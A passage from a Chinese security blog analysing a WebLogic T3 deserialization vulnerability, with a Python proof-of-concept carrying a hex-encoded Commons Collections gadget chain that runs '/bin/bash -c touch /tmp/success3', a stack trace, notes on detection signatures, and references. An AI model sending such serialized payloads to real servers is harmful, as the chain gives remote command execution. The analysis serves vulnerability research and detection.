f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78'`        `        # ------------------------------------------------------`        `payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'`        `payload = '%s%s' % ('{:08x}'.format(len(payload) // 2 + 4), payload)`        `sock.send(bytes.fromhex(payload))`        `time.sleep(delay)`        `try:`            `res = sock.recv(4096)`            `print(res)`            `return b'org.apache.commons.collections.functors.InvokerTransformer' in res, {'msg': 'finish.'}`        `except socket.timeout:`            `return False, {'msg': 'connection timeout.'}``   ``if __name__ == "__main__":`    `ip = "127.0.0.1"`    `port = 7001`    `light_up(dip=ip,dport=port)`

同样跟一下代码:

`readResolve:58, MarshalledObject (weblogic.corba.utils)``invoke0:-1, NativeMethodAccessorImpl (sun.reflect)``invoke:57, NativeMethodAccessorImpl (sun.reflect)``invoke:43, DelegatingMethodAccessorImpl (sun.reflect)``invoke:601, Method (java.lang.reflect)``invokeReadResolve:1091, ObjectStreamClass (java.io)``readOrdinaryObject:1805, ObjectInputStream (java.io)``readObject0:1348, ObjectInputStream (java.io)``readObject:370, ObjectInputStream (java.io)``readObject:66, InboundMsgAbbrev (weblogic.rjvm)``read:38, InboundMsgAbbrev (weblogic.rjvm)``readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)``init:213, MsgAbbrevInputStream (weblogic.rjvm)``dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)``dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)``dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)``readReadySocketOnce:967, SocketMuxer (weblogic.socket)``readReadySocket:899, SocketMuxer (weblogic.socket)``processSockets:130, PosixSocketMuxer (weblogic.socket)``run:29, SocketReaderRequest (weblogic.socket)``execute:42, SocketReaderRequest (weblogic.socket)``execute:145, ExecuteThread (weblogic.kernel)``run:117, ExecuteThread (weblogic.kernel)`

一样通过InboundMsgAbbrev为入口进行数据的read操作,由readOrdinaryObject直接通过反射调用MarshalledObject.readResolve进行二次反序列化:

流量特征上,出现的类变为weblogic.corba.utils.MarshalledObject,而response的example中不会像CVE-2016-0618一样出现weblogic.jms.common.StreamMessageImpl,故weblogicScaner的检测项变为了org.apache.commons.collections.functors.InvokerTransformer

后记

Extractor导致的漏洞放在下一篇。

参考文章:

https://xz.aliyun.com/t/10365#toc-6

https://xz.aliyun.com/t/10563#toc-10

https://www.anquanke.com/post/id/226070#h2-15

https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704

http://wjlshare.com/archives/1573

https://tttang.com/archive/1768/#toc\_

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2